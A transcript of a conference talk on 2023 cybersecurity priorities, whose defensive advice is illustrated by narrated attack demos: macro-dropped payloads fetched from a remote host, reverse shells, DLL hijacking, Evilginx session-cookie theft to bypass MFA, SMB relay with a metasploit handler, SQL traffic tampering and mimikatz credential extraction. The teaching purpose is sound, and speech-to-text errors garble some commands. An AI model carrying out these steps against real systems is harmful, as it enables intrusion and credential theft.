Well, thank you so much, Jennifer and Chris, for that introduction. Let's get into the Hacker's Perspective on New Risks: Revising the Cybersecurity Priorities for 2023. As you already know, my name is Paula Januszkiewicz, and for the past 18 years I've been dealing with cybersecurity postures of our customers. My company secure is right now in the market for 14 years, and together with the team, we're helping customers all around the world.
And also, I'm a Microsoft regional director, but I do not work, actually, for Microsoft. It's a very honorable role for me and in general, and it is something that basically means that I'm engaged both in technology and also business. So Microsoft says that it's for all these innovative people who can convert technology into something useful, and many other things as well. So I'm very proud to have that title as well and not work at Microsoft at the same time.
And if it's about me speaking at the various conferences, I had a chance to deliver Keynote at the RSA, speaking at various BlackHats, also being at ignites. RSA is pretty much internationally and also other conferences. So after every conference-- this one as well-- you guys are able to always download tools.
So therefore, let me share this QR code with you. Though, keep in mind, it's a security presentation, so it's quite ironic, isn't it? But anyway, whatever you click on over there, it's safe. This is our website where you are able to not only find this presentation, but also you can download the tools that I'm going to be using for this intense-- I hope-- presentation about what is currently happening in the cybersecurity field and what kind of priorities we should have in order to secure ourselves better for the upcoming year.
So if we look at the impact of the cybercrime, let me share with you a couple of stories. First of all, what is important is that the good news is that even though hackers are quite intense right now and they are absolutely good at clearing traces, there is an increased amount of attacks-- actually, according to FBI, it's approximately 300%. In their poll, it says that we have amount of attacks that increased by 569%.
Once the attack happens, there's always something that we are able to find. And that's basically a good news. Question is, of course, how does our current monitoring looks like? Are we able to build a full picture of the attack? And at the same time, are we able to drive conclusions and protect ourselves with appropriate technology to address the current problems?
So when we look at the other impactful hacking stats, you can see that 77% of organizations do not have a cybersecurity incident response plan in place. And at the same time, the first statistic here is quite terrifying, because we can see that there is a year-on-year increase in ransomware in 1,318% in the first half of 2021.
So why it's like that? Well, answer to this one is pretty straightforward. Cybercrime in general is a very lucrative business, and we have to be prepared to be attacked from many angles, many directions. And that's one thing, and hackers can always demand a ransom, and our data here is on scale. But at the same time, we don't really even sometimes know how to approach incident response, how to build an incident response plan, and how to choose appropriate priorities so that eventually we will not be a low hanging fruit for a hacker.
Also, when we look into statistics that are by the James Comey, former FBI director, he says that there is like 200, which is the median number of days that attackers are present in the network before, actually, they got discovered. This is horrible, because it means that someone has like 200 days to go around our resources, maybe even escalate, go to the domain admin privileges, and stay there for the next 199 days and look for on privilege with privileged access information that might be just very, very useful for us that's our part of the our core business.
So what if, for example, these hackers hit us, let's say in the day 170, and then they encrypt our data-- but not just data, but the data that's important for us, because they had that time to become familiar with what is actually in use by our company. Then, obviously, that's a big loss.
We might be also dealing with a situation when we are not that smoothly able to recover from the backup. Therefore, the amount of days from the detection to full recovery that's out there, it is 80, which is quite a lot and expensive taking into consideration that we could spend that 80 days on something a little bit more practical. And these things are happening because attacks in general are inexpensive.
So we can see that when we look into the load, the price of load, a load in general is a compromised device. That is a device that you are able to use, for example, for the fodder ataxia. So you got that on a temporary or permanent basis and you are able to use it as a part of the [? bot ?] network or maybe you can deliver an attack from it.
Or from other angle, that is also a cost of a device that hacker has to pay in order to get access to it, meaning that you pay $1 to get a compromised PC, you encrypt its data, but you earn on it, let's say, $2,000 because someone is actually willing to pay. So that's what we mean by saying lucrative.
Also when we look into other angles, we've got a denial of service that is pretty inexpensive, but also ransomware itself. You pay $66 up front, or 30% of the profit in the affiliate model. And also, if you want to pay for spear phishing services, you can see that it is like from 100 to 1,000 per successful account takeover.
Or, if it's about the passwords, you pay approximately $1 per 1,000 potentially compromised accounts, which doesn't mean that it's like 1,000 working usernames and passwords. The quality vary significantly over that, and it is from like 0.1% even up to 20% of the username/password pers that might be actually valid over that.
So first of all, not only attacks are on the rise, but at the same time, it's inexpensive, more and more people are interested in delivering them. The question is, therefore, what do we do? And the key challenges and strategic opportunities for us right now are related with basically a couple of aspects here. We can see that Identity-based attacks are up by 300% this year, which means we have to invest into Identity protection solutions.
Another part is information is the most attractive target because we are able to do something about it, like encrypted, for example. Therefore, we need to make sure that someone is not even getting to this point.
And another part is that we've got like constantly involved techniques, but these techniques and the ways how code can execute is not really changing. There is nothing new that we use leverage in our operating systems that would make these attacks more attractive. It's just a matter of combination of a couple of factors here.
Attacks can be more complicated, because the solutions that we are using right now, they detect the basics. So therefore, they will be more complicated, but at the same time, it's nothing new. It's just a matter of how we discover that. So in general, in order to detect attacks faster, automate the response, and so on, we need to be using solutions that are, for example, a little bit more intelligent, and it could be relying on machine learning protection techniques. And at the same time, we're going to be more effective in the response.
And at the same time, what is also quite interesting is that we are kind of lost sometimes in different security solutions. Most enterprises, as you can see, they report using more than 60 security solutions. But then, the question is, how to integrate them all? What do we actually use them for? Do we understand how they work? So maybe it's time to actually do a little bit of a revision.
Therefore, when we look into the details, we actually call the 2022 as a year of a well-written and well-tested incident response plan. Do you guys actually have that? That's one thing.
Second, we decided to rename it as well, because we don't call it an incident response plan. We would rather call it a cyber crisis management plan. It's just a name, but it sounds better, and we could get a better attention in terms of employees, management, and so on that we are actually managing something that should be closely connected to overall business security and risk. We are managing technology. We are managing infrastructure that without it, our business will simply not always be able to function.
Also, companies should revise goals of pen tests. Why we are saying this? Because not only we should see what kind of identities and how we are able to use identities in infrastructure. So the pen tests should be not only from the hacker's perspective, but it should be more like from the user's perspective, which could be still a hacker, yeah? So when the hacker gets to the environment through phishing, let's say, hacker becomes a user. And now question is, what can we do as that user?
So my point is that the revision of the goals of pen tests should involve the realistic hacking scenarios that should be executed as a part of these pen tests. That's one thing.
Second, when we think about the pen tests and in general security of our organizations, we should more investigate our supply chain. So who is actually delivering us applications? Who is supporting us? Because not only supply chain, but in general vendor-related attacks. So there is a vendor being attacked, and then the customer suffers because they were supporting their network and the attack actually came from there.
Then, in this case, it's a full access privileged access attack type. And at the end, that is something that hacker simply doesn't have to struggle with, and it gets on full privileges to the infrastructure. So that's one thing.
Second over there is related as well with awareness. Security awareness trainings, that should be our commodity, and we've got a really nice wave that we can ride on in terms of delivery of security awareness sessions in the organizations, because everybody speaks about cybersecurity. It's part of every single portal. You've got multi-factor authentication in the social media portals. It's in use.
So it's not a subject that's very, very distant. We definitely recognize cybersecurity as a thing. We may not know much about it from the end user perspective, but definitely we want to know, because it's not only about our corporate, but also our personal safety.
And at the end, we have to remember that effective cyber defense, it is actually a long game and it's definitely not a last minute burden that you're going to decide that, oh, let's implement [? co-decision ?] prevention so that it's going to be working from tomorrow. Not necessarily, it's rather planning that wins over there, and things that are well-planned are less vulnerable to any misconfigurations.
So definitely if you think that, oh, we got so much to do in cybersecurity, just start planning now, because there is a bunch of priorities to look at. And what I would love to introduce you, it's a Six Priorities to Have Our Infrastructure Prepared for New Risks.
One of the things to recognize is it sounds like a boring, boring, and simple subject. It's related with the well-configured firewall. And we could be thinking, OK, what's so advanced about it? Well, nothing, but the point is that well-configured firewall is in general representing us the idea within which whatever you run, whatever you execute, you have to control how it communicates over the network.
And that's also one of the top priorities, I would say, because think about it this way. If there is a phishing delivered to the user's computer, user executes it. And then what happens? There is something that runs on a user's computer that communicates out.
Question is, what is this? Is this PowerShell doing that communication? Or maybe the custom code, custom compiled, downloaded, executable? Or maybe some scripts executing over there? Whatever that will be, you need to know that and you have to control it. And this is something that I would love to show you as an example of phishing.
So let's have a look at this demo, Phishing Little, where I would love to demonstrate how you are able to actually escalate from the regular user to an admin because of the misconfiguration. That's one thing.
Second, why it's important to make sure that we are controlling not only the logical phishing activity-- so implement, for example, things like attack surface reduction roles and so on-- to control the behavior of, for example, Excel or Word running macros so that they are not allowed even to run. That one thing.
Second that they are not allowed really to communicate over the network. There are so many things that could be done better in this pretty default set up in most of the environments. Let's have a look.
So what you've got over there it's a net cut. So we are just listening on the port 443 from the hacker's side. And on the right side, you've got an email. So simply phishing. Hereby, invited to participate in annual request for proposals for pen tests. OK, so we can open that Excel.
Unfortunately, there is a macro, so we can just cancel that. And there is, actually, a request to click. So you need to click Enable Editing to be able to display that content, which obviously it's fake. So when the user runs that macro-- I know you will never do it, but here we go. That's the case of a user-- there is an executable that's running underneath that we can also investigate in looking into the macros here.
So if you go to the details, you can see that there was this button click thing, and we can get into the Resources cqureacademy.com, and we are downloading the text file. And then that text file, we are decoding and converting it to the executable. And then later on, we create a process using that newly compiled executable.
So hopefully everything gets a clear here. Now we can get into the whoami/o and then the next part is related with just checking who we are. You can see that we are Paula Secure, but being just a user. That's why we run that whoami/o so that you can see that there is a basic set of privileges. So if we're going to go curl, for example, and then we got a 10.10.10.250/payloads and then provesc escalation ps1. So here we go.
We can download it to the privilege escalation script. So let's do it. We can just confirm that it's there. There is a privilege escalation script. This script will search us for misconfigurations in this host. Now PowerShell will allow us to first set execution policy to simply bypass the scope of process. Let's do it.
And the second part is to run the provesc escalation script. And that script will allow us to scan system for misconfigurations and for the places where we can perform the DLL hijack. And DLL hijack is just to replace a DLL that's loaded at the moment where the system loads, and that's this DLL, you can see loaded by the Task Scheduler upon server startup.
OK, so that's great, because we will be able to override it by using this modifiable path. So that's a fantastic opportunity for someone to upload their own DLL over this DLL and then load it at the startup.
So that's what we're going to do. We're going to download the reverse DLL and we're going to put it into the Python 27 folder, WptsExtensions.dll, and then we've got this DLL right now replaced, which we can check of course, but yeah, that actually happened. Yeah, so we can see that we've got a Wpts extensions because that path was modifiable and we were able to upload our own DLL.
Now the next part is just we have to reboot that computer, because it's loaded at the startup. So here we go. Let's give it a moment. In the meantime, we're going to establish net cut for the connections, because is going to be our DLL, malicious DLL, upon reboot connecting actually to our host. So let's wait for that. This host is rebooting right now. Services are starting. So in the moment, we're going to have actually-- and here we are-- connection established.
So you can see that that is happening on the left. If we do whoami, you can see that we are right now nt authority system, and we managed to escalate because of the ways how that particular service was starting. And if you go whoami/o, you guys can see that we've got a full list of privileges that we can actually use over here
So what's the conclusion coming out of that simple demo? It's that not only, of course, we were able to execute the code by enabling macro underneath, there was a compiled executable because we were just downloading the text file. There was a [INAUDIBLE] by the way, that we used to do it, which should be obviously blocked in the operating system because it's one of this, as we call it, [INAUDIBLE] scripts that could be dangerous for us.
And at the same time, that thing was able to communicate over the network. Like all these things could happen out there, but it's just the network that made it successful for the hacker because we received a connection that was actually done from the user. What if that network was blocked?
So think about it, because in general, one thing is how we execute things, but the second is this network communication that's necessary for the hacker to be able to even receive a status check that this workstation has been attacked, not to mention ransomware that once you run it, it goes to the network to simply fetch the keys that are going to be used at that moment for encryption. Not every single one, but lots of solutions are actually working like that.
So here we go. We've got a priority number two, Usage of MFA and Conditional Access. I mean, that is a default it's not even a priority. It's a default. But I would love to show you one thing, that we cannot just enable MFA and then believe that, OK, like from the outside, we are secured. Absolutely not, because it depends on the context.
If the hacker manages to be on a user workstation already through phishing, and you've got an MFA turned on, this will not save you. Because if the user stores data in the browser or if there is a capability to capture a user's cookie, then this is how you are able to bypass MFA, and then MFA won't really save you.
What will save you, though, is a conditional access. Let's have a look on how to bypass MFA, because I would love to show you exactly what we are here talking about. Shall we? So what we got over there, it's simply hacker's console. So we're going to run over that Evilginx. And within the Evilginx, we're going to just get a URL-- so get URL over there-- for the Teams that we have generated here.
So there is a login.teams.microsoftonline.com.co and there is just like a name. Now .com.co, it's not really Microsoft's URL. Let's have a look.
If we take this link and we enter it, it looks exactly like Microsoftonline.com, but that .co thing, it's not a Microsoft thing. It's actually our thing. We have a certificate. We bought it. So you can see that we could go really well in terms of pretending we are, for example, Microsoft.
So Abi, our user, logs in. And then we have to approve the sign in request. So Abi's doing that. So all good over there.
And then the next thing is that we are capturing on this fake website, we are redirecting to Microsoft Online originally, but underneath we are capturing not only the username and password, but also we're capturing, as you can see, all authorization tokens. And that is gold, because it has to be context-based, but we don't control the context. In this case, it will be absolutely working for us.
What you see right now on the screen is technically that authorization token, so the cookie that we're going to be using over here to authenticate to portaloffice.com. Let's. Do it. So we got our portaloffice.com, which redirects us to login.microsoftonline.com, and now we're going to take this guy, we're going to take the whole authorization token. So let's copy that. And we're going to paste it into the cookie as a cookie.
So first, trash all the cookies out there, and then we're going to be importing over there that format. So here we go. Value, all good. Confirm. And the only thing we have to do is just to refresh the page, proving that we managed to bypass multifactor authentication not in terms of how it works, but in terms of an idea that if, for example, hacker is already controlling that workstation, we are able to take that information out and then multifactor doesn't work anymore. But if we had conditional access, then that access will not be possible from the hacker's workstation because the hacker will be, for example, out of the allowed IP range or region.
So that's the point. Not only MFA works out there, but also simply the case where we are playing with the conditional access and the ways where we are from, yes? So that's what matters.
Another part is the Network Segmentation and SMB Signing. OK, so what do we have about it? Well, first of all, network segmentation, it's related with the case where we connect using VPN to the organization. When there was COVID, we all had to provide remote access, so people had to use VPNs when working from home. That happened. OK. But did we segment our network well? So did that just one thing.
Another part is do we have SMB signing? And SMB signing in general-- so SMB protocol allows us for data transfer. By default, it's not signed. You can turn on signing in a policy. It's super simple and it prevents lots of attacks that are combined [? anti-inversion ?] 2 and SMB not being signed at once.
And this is something that I would love to show you, so let's get into the quick result of what we can do by leveraging SMB relay. So I have that attack already prepared, because you can see that we've got a python.smbrelayx.py, and we've got a host that we're going to be connecting to that's 10.10.10.250, and upon execution, we're going to be running the CQshell104A.exe.
This is the reverse shell that we have generated before, and it's also not recognized by antivirus. It's like what you saw already, but on the network level. And that particular SMB relay script will allow us to perform also the ERP poisoning in a bag and capture the authentication response in terms of nt LAN version 2, and then for relay that response to the target.
So we've got that one. So we get a 10.10.10.250, which is going to be our target, and that reverse shell is going to be served once we're going to process that authentication response that we're going to relay to the target. And nt LAN version 2 authentication, just to mention, happens when you hit, for example, backslash backslash short name like files, or backslash backslash IP to trigger basically nt LAN version 2. So that's one thing.
On the other side, there is a metasploit running, and it's like as simple as it gets. That's everything that you see. So we got here use exploit/multi/handler, set PAYLOAD/windows/meterpreter/reverse_tsp because we are here setting up a handler for the incoming connections, and we're going to be waiting for the connection over there. That's going to happen actually through that particular reverse shell.
And at that moment, we would be able to perform that exploitation. And we would be able, actually, at that part, to move further. And then we will be able to listen for that for incoming connections at that level. So what's going to happen next is that, in this setup, we will simply trigger that exploit part. So here we go.
And over there, let's go to python smbrelayx. Here we go as well. And the only thing that we have to do on the other side is to hit any moment backslash backslash IP and backslash backslash short name. So it could be as, I mentioned, files. And if we are in that subnet, capable to listen of what's going on, we would be able to actually perform that SMB relay, so take the nt LAN version 2 response, and relate to the target, authenticate with it, and then we're going to get this connection starting.
So that's what is happening here. You can see that there is started reverse handler, starting the payload handler, sending stage. We've got a connection already. And that's perfect. The only thing we need to do is just to get the PS to list the processes that are there.
And what are we looking for? We are looking for the process that is pretty good to be and that's going to be like, as we say, host, for example. And we need to migrate to it. So perform the process hollowing, process injection, which we could be preventing if we had Exploit Guard, for example-- so any anti-exploitation solution out there.
So we migrated from 2904, but if you look into what the 2904 is, that's actually our reverse shell. And once we migrate from it, then the next stage over there, it's going to be to a check shell and whoami. And you can see that we are here nt authority system, which confirms that just by being nobody in this network, we managed to become someone-- in this case, system-- in order to perform this attack, and also understand our context. We can, of course, always run whoami, but you can see that that was pretty easy. And we went from zero literally to hero in that system.
So the next priority, though, comes to place. It's Whitelisting. I would say it's an obvious consequence from what we saw. There was a shell that we were able to run, and that was executable, in other words, communicating over the network. Could that be executable? Couldn't that be something else?
Well, it could be, as we mentioned, PowerShell. It could be, for example, even like an injected DLL somewhere, as we could see from the previous demo. It could be like the VBS scripts, and so on. So anything, really, that is able to execute in the uncontrolled conditions is dangerous, so we should be limiting that in a smart way. So not, for example, allowing certain commands in PowerShell or only allowing certain commands. So whitelisting idea.
Therefore, with whitelisting, we need to rethink what kind of solutions we are allowing users to run, and definitely look through the list of low base load bins, so living off the LAN scripts and binaries that we are on the top of every whitelisting solution's preventing.
What's the next step over there? Configuration Audit, also one of our priorities. Not only configuration outed, but also looking into that from the perspective of a threat hunting. Do you know that James Comey, the former FBI director, said it's 200 days, right, where the hackers are in the network before they are actually discovered? That's interesting.
So what about doing the threat hunting exercise in the network, and then verifying where these hackers could be and making sure that we are able to shorten that time? That's the point. So not only configuration outed, but also looking for things that potentially might be dangerous, but they don't seem to be dangerous at first sight.
So decommission of old protocols or their default settings, so that's one of the things, but also, at the same time, in general, reviewing solutions that we trust by default. So we've got a bunch of servers that has been there working for quite a while and they never been affected. They've never been attacked. And maybe they actually were. And that is something that we are able to find through that [INAUDIBLE]
But what I would have to show you is the case where we are using solutions that we trust by default but at the same time, the default might be truly deadly. And we are here speaking about the protocol, which is called TDS, tabular data string.
So let's have a look what we got over there. This is just a default setup of SQL server, as we see in many organizations. It's pretty much like the same everywhere. And the point is that if there is no additional security implement on the network traffic over there, then we are just able to execute that particular query in the database. So let's execute it.
But the problem is that underneath that query, if it runs through the network, it will run in a clear text. So if we do refresh this logins-- so you can already guess what we're going to be doing-- we are only seeing Bob, administrator, [INAUDIBLE] and so on. So you can expect something appear over there, but that's in a moment.
So that query is something that we will need to also investigate, whether it truly runs in a clear text and what's the context? So that particular query we're going to also analyzed in Wireshark. So we got another server over there, and we're going to be performing that network sniffing.
And let's just run Wireshark. And within the Wireshark-- we can just run this application here-- we're going to be simply listening to the TDS protocol. So the tabular data stream, which is a default communication protocol, unfortunately, in the clear text.
So you can see that we've got a filter already applied. That's TDs. The only thing we can go is to capture on all of the interfaces. So let's go capture and then start. So here we go.
Now you can see nothing here, because we're not really running any kind of a query. But if you go back to our SQL, select a query, and execute it, you can see that there is actually some traffic caused. OK, good to know. And there is some sign of a clear text.
We could also trim just only to the queries, but you can already see if we go and search through it that there is a Select Customer ID, company name, contact name, and so on city from customers. So this is a confirmation that that query runs actually in a clear text. That is what we see continuously all the time within the companies all around the world that SQL traffic is just not secure.
So what do we need to do. Well, first of all, you will need to apply that cert on the configuration of SQL on the network. So it's actually very easy to implement it. But what I would love to show you here, how dangerous it is if we don't do it. So you've got a SQLInject and we've got a query that we are hunting for. That's select customer ID, company name, contact name. We got that query from the network scan. So here we go.
And then we can replace it with CREATE LOGIN hacker with password Password1. Yeah, so that's it. And then we got just in between these hosts, and for that underneath, we are using also Ettercap. We could be using betterCap, but that's just to perform the poisoning so that we managed to capture that traffic. So that's running. So quite innocent.
But over there, we're just going to execute the query. So execute. Fantastic. And then the next part over there, it's going to be related with checking what we got underneath. So comments completed successfully. Aha. So here you can see that there is a SQL traffic discovered, found our string, and replaced it. And that's also quite interesting, because it means that we managed to find it.
And if we do refresh our logins over there-- let's do that. Here we go-- you will be able to see that refresh, there is actually a login hacker out there being an additional thing that we managed to establish while just replacing that clear text query on the fly. Quite an interesting perspective, right? It's just a TDS, just a default setup for the SQL server. So that's something that I would love to present.
Another part that is also interesting and that's our priority number 6 is connecting the dots and monitoring privilege accounts and Identity misuse. Why like that? Because of course when we got service accounts or various other accounts that are privileged, question is, what do we use them for? What was the last time you performed the audit of your identities in the infrastructure to learn, basically, how they are used and how they can be overused?
And what I would love to show you is simply a demonstration of how we are able to escalate the certain user and how we are able to get access to the user's account and to the data of the user's account while being, of course, someone privileged over there and what's the power of the certificates that are hidden within the domain?
So please have a look what we got. We've got over here the machine of Freddy Krueger. And if we go to the Chrome pass over there, you are able to see that here Freddy has access to his own password that he stored in a Google Chrome. So that's why Chrome pass. Here is one lesson, first lesson, that whatever application you use that stores password somewhere, don't forget that any other application can extract that password because you store it as yourself. So that's Chrome pass extracting password from the Google Chrome.
Now if we do have a look where that password is actually stored, we could be running over there, the case with that scanning for the data protection API blobs. So we can get into the CQTools/DPAPI and we could be technically searching for the CQ/DPAPI blob searcher. And then we could pretty much scan the C drive.
I'm going to go directly to that folder of Google Chrome to save some time, but we can scan the C drive and learn where, basically, user stores that data. So over there we are doing the recursive search outputs to the CQTools, for example, and we could do the output to DPAPI.txt Enter. And that, in a moment, is going to give us an access to the places where the passwords are stored.
And for example, in this case, Google Chrome stores passwords in cookies. And who protects it? It's a master kguid. And that's the part of the data protection API, so the cryptographic platform of Windows.
What I would love to show you is who else is able to get access to these kind of passwords. So for that reason, I'm going to restart that host. We could do this demo both online and offline. So if you think that Bitlocker will help it, that's wrong. In this scenario, it might. But in the general terms while we are performing the attack, it won't. Yes?
So I'm going to do it offline only for the convenience. Using the situation where we are rebooting over there, what I would love to show you is how, at that moment, we are able to extract from the domain controller the hidden certificates that are not really presented anywhere, because obviously they are hidden. And these are the ones that we have discovered as a part of our data protection API research.
How do we export them? CQ. And then we've got LsassSecretDumper file exported.pfx. And this is super weird certificate that I'm going to import over there. Password is secure, so here we go. And we are able to do Next Next, Finish. And then we can go to the certmgr.msc. And then, of course, look at that certificate as it is.
And what we are learning over there is that that certificate is issued to nobody, issued by nobody. So certificate ghost. But one thing you guys should know is that the moment that certificate leaks, there's nothing you can do, because you cannot renew it. You cannot change it. There's nothing you can do. And what is important to know is what that certificate is for.
So that certificate is for, simply, extracting every single password stored within every single application of every single user. That is what happens when we don't manage the privilege access. And I'm not there to scare you, but just to show you the capability of a hacker when it basically happens to have the privileged access.
So let's first break the access to that secret. We're going to go to the Troubleshoot, Advanced Options, Command Prompt. And over there, we're going to overwrite the cache login data of the user. So let's go to the CQ tools, cqureEdition-- that's that mimikatz secure edition-- and we're going to do lsadump cache, and then we're going to overwrite Windows system32 config system.
And then we're going to do the same for that d Windows system32 config and then security, because this is where we are storing the cache login data that our secret might rely on. And we are overwriting that one with the switch Kiwi.
One more thing at the end is to make sure that we are switching the network. So we will not log into the domain eventually. And by changing that cache log on data, at that moment we will not be able to get access to this particular secret. So let's wait for that guy to reboot. So here we go.
And in the moment, you will see that at that place, we will not be able to get access to our credentials stored in Google Chrome. So first, we try to log in as a regular password. Enter. That didn't work. And then we would try to log in using the mimikatz, which is a different Freddy's password. And then it works. Because this is what we have been overwriting through that registry.
So system and security, cache login data. Some people call it credentials, but these are not credentials. So here we go. Once we go to the Chrome pass, you guys are waiting for a little bit of time because we don't have a correct password to decrypt that master key that is protecting the Google Chrome. So let's go to the master key in the meantime.
So update the percent. Where is it? Microsoft, Protect, [? cid. ?] That was this B55 thing. I'll get into Shift right click, Copy sbuff, because we're going to be working on it to get access to it, obviously, with that certificate. While here, you can see that the password is empty.
OK, so the last step of that is to basically go to our tools and then DPAPI and then CLS, and first let's calculate CQhash calc. Our current password's hash, which is mimikatz. And then we've got one.
And then the next part, it's going to be to use CQ master key ID where we do first, PFX, exported PFX from the domain. Then we do File, we decrypt, in this case, or extract information from the master key, which is encrypted. And then we encrypt it again by using the new hash. And then we are copying this MD4 newly generated password hash. Boom.
And then the very last part to do, it's going to be to overwrite the newly created master key named with B55 other. That is basically the one that we will provide as access to these kind of secrets. And then, as you can see, it takes a moment. So let's wait for that one. And that's perfect. We got it already. This is created.
So the only thing that we need to do, really, is to take this guy, rename it to Good, for example, and then take this AD modified rename and simply replace it. So here we go. Yes, we got it.
The very last thing is to give it an attribute of a system and hidden bank. We got that, so all good. All in place. And the only thing we have to do is to refresh the password.
So now you can see that this privilege access gave us so much access that you cannot change in the whole history of the organization. So I like to think that our infrastructures are already compromised. Therefore, monitoring privileged access, it's so important.
But of course, there's always this access that we have to have. Therefore, the human factor is so important. But the more auditing we are able to introduce, the better we are able to respond to any attacks and better monitoring capability we've got how the attacks could be performed on the private identity.
Let's get into the summary. We talked about well-configured firewall, network access, and whatever executes and communicates over the network. We talked about the usage of the MFA and the need of a conditional access. We talked about, of course, network segmentation, SMB signing, against SMB rely on different attacks, whitelisting to prevent running the code that we don't know, configuration outage, and also threat hunting to be doing that regularly and to review what are the potential misconceptions, misconfigurations about solutions that we use, and at the same time, monitoring the privilege Identity and controlling that Identity to make sure that we are basically having everything under control, especially in terms of privilege access.
Now, we definitely have to remember that cybersecurity is going through a big skills gap. So the more automation we can introduce to our environment, the better. And one thing for sure is that for every employee, we have to introduce the Cybersecurity Awareness Training to build this motion, to build this wave and about and related with the cybersecurity knowledge. And they need to know that they are truly the first line of defense when it comes to protecting our organization.
And anything that we demonstrated could be, obviously, prevented. And it's easier to prevent than to mitigate, then to recognize, to do the forensic about. So prevention is truly a key to success. So the more solutions that answer of what we were talking about, you are able to introduce or maybe just reconfigure, the better, because this is what relies in a background for vast majority of the attacks currently in the organizations.
Don't forget to download the tools. You guys had a QR code, but that's the direct link where you got a username and password to get the tools from our qcureacademy.com. Don't forget also to check the blog. And over there, you've got more of the interesting videos within the attacks.
And at moment, I would love to thank you so much for your time. Hopefully it was interesting. And don't forget, of course, to join me for the closing Q&A at 3:30 PM Eastern time. And now, well, I just have to pass it back to Chris and Jennifer. Thank you so much for listening, guys.